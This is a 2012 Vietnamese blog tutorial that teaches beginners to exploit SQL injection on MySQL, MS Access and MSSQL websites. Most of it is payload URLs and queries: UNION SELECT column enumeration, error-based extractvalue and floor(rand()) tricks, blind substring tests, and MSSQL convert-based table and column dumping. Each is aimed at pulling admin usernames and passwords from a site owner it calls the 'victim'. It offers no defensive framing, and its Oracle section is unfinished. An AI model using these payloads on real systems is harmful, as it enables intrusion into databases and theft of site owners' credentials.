7 thg 7, 2012

SQL injection lab 3 [khai thác SQLi] - for newbie

Sau khi xác định site sqli + check sqli +hệ quản trị SCDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MýQJ vì nó là phổ biến)


Đối với CSDL MyQSL:


Lỗi trả về thường xuất hiện các dấu hiệu sau:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.
Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:
Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)


Tiếp theo ta sử dụng UNION SELECT [ số cột tìm được , được phân cách bằng dấu phẩy]--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,3,4,5,6-- nó sẽ hiện ra những con số


nếu không hiện số:
+viewsource
+Xem file ảnh bị lỗi để thấy số
+Thay số bằng null (vd id=-188 thì thay id=null UNION....)
+Thay các column(field) bằng null (vd :UNION SELECT null,null,....)
+Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+TH hiện ra thông báo thế này: The used SELECT statements have a different number of columns


Union select như sau: id=1+and+1=0+UNION SELECT+1,2...


Hoặc dùng error base:
And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)-- -
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))--
or 1 group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1--


Hoặc dùng blind: and substring(version(),1,1)=5


Tuỳ thời cơ mà biến hoá chúng


Tỉ dụ nó hiện ra số 3.
Công việc tiếp theo của ta là xác định version (Công việc quan trọng nhất)
http://demo.com.vn/index.php?id=-1 Union Select 1,2,version(),4,5,6--
Nếu kết quả trả về :


>>>>Phiên bản lớn hơn hoặc bằng 4 và nhỏ hơn 5: Khai thác như lỗi của CSDL MsAccess (Hack Đoán)
>>>>Phiên bản lớn hơn 5 thì sử dụng cách dưới đây.
Oke, ta đã xác định được phiên bản là lớn hơn 5. ta tiến hành truy vấn.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(table_name) USING latin1),4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(table_name))),4,5,6 From Information_schema.tables--
Tuỳ thời cơ mà biến hoá chúng.


nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(table_name),4,5,6 From Information_schema.tables--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit 17,1--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit n,1--
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,admins
vì đó chỉ là những table của hệ thống thôi, quan trọng là xác định được table chứa admin trong mớ hỗn độn phía trên. VD ta tìm được table chưa thông tin của admin là admins.
Ta tiến hành chuyển chuỗi 'admin' sang dạng hex đẻ dễ khai thác vd chuyển sang là ?
thì ta tiến hành tìm các column trong table admins đó bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(column_name) USING latin1),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(columns_name))),4,5,6 From Information_schema.Columns where table_name=(0x?)--
sau công viẹc này ta đã xác định được 2 cloumn quan trọng nhất , VD là username và password.
Ta tiến hành lấy thông tin. Bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,concat(username,0x2f,password)4,5,6 From admins--
0x2f: là dạng hex của kí tự /


Đối với CSDL MSACCESS:


là loại khó phá nhất trong các site dính SQLInj , lý do không phải do nó bảo mật, mà là do mặc định nó truy cập file mdb không bằng quyền admin, do đó table msysobjects chứa các table của nó ta không thể đụng được. Đụng vào CSDL này là phải blind hack (Hack đoán).
lỗi trả về của loại này thường xuất hiện các dấu hiệu sau: Jet database, ODBC Microsoft Access Driver. Khai thác loai này như sau:
Đầu tiên ta sử dụng lệnh UNION SELECT 1 FROM [Table_name]
[Table_name]: Là tên table bạn đoán nó sẽ chứa thông tin về Username và pasword của Victim. VD: Admin, Admins, Account, Thanhvien, Quantri, User, Users,...
VD: Bạn khai thác: http://demo.com.vn/news.asp?id=72 Union select 1 from admin
lỗi trả về là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e37'


[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly. (Dịch nôm na là không tồn tại table 'admin' trong CSDL)
đừng nản trí, hãy đoán tiếp http://demo.com.vn/news.asp?id=72 Union select 1 from admins
Microsoft OLE DB Provider for ODBC Drivers error '80004005'


[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.


/news.asp, line 16 (Dịch nôm na là: Số cột không cần bằng khi sử dụng truy vấn với Union)
Đến đây chúng ta đã biết table chứa thông tin về victim là 'admíns' đến lúc này bạn chỉ việc ngồi đếm số cột trong table đó bằng cách Union select 1,2,3,..,n from admins các bạn cứ đếm sao cho nó không báo lỗi nữa mà trên trang đó hiện ra những con số. Đến lúc này bạn lại phải đoán column chứa username và password rồi thay thế chúng vào những con số hiện ra đó sao cho không hiện ra lỗi tức là bạn đã đoán đúng.
VD: Bạn đếm được đến số 5 thì kô còn lỗi, Con số hiện ra đó là 2,3 và column chứa tên đăng nhập của admin là username, column chứa mật khẩu của admin là password thì bạn sẽ khai thác http://demo.com.vn/news.asp?id=72 Union select 1,username,password,4,5 from admins
Đối với CSDL MSSQL:
Lỗi trả về của bọn này thường xúât hiện các dấu hiệu sau:


Microsoft OLE DB Provider for ODBC Drivers ,ODBC SQL Server Driver, Gọi tắt là (lỗi OLE DB)
Cách khai thác bọn này sử dụng kĩ thuật "Magic convert". Kĩ thuật này được sử dụng như sau:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
Hoặc
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('')))--sp_password
Trong bảng Information_schema.tables có chứa tất cả các table trong CSDL (Đây là gót chân Asin của bọn này )


-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:


and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('table1','table2',..,'table n')))--sp_password


cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..


Bước 2: Get column


Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin


and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1'))--sp_password


vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:


and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1' and column_name not in('username')))--sp_password


Nếu tìm được username/password trong table1 thì ta check pass của nó


Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password


and 1=convert(int,(select top 1 username%2b'/'%2bpassword from table1))--sp_password
Đối với CSDL Oracle:


đang cậo nhật
writer:kingnus

Không có nhận xét nào:

Đăng nhận xét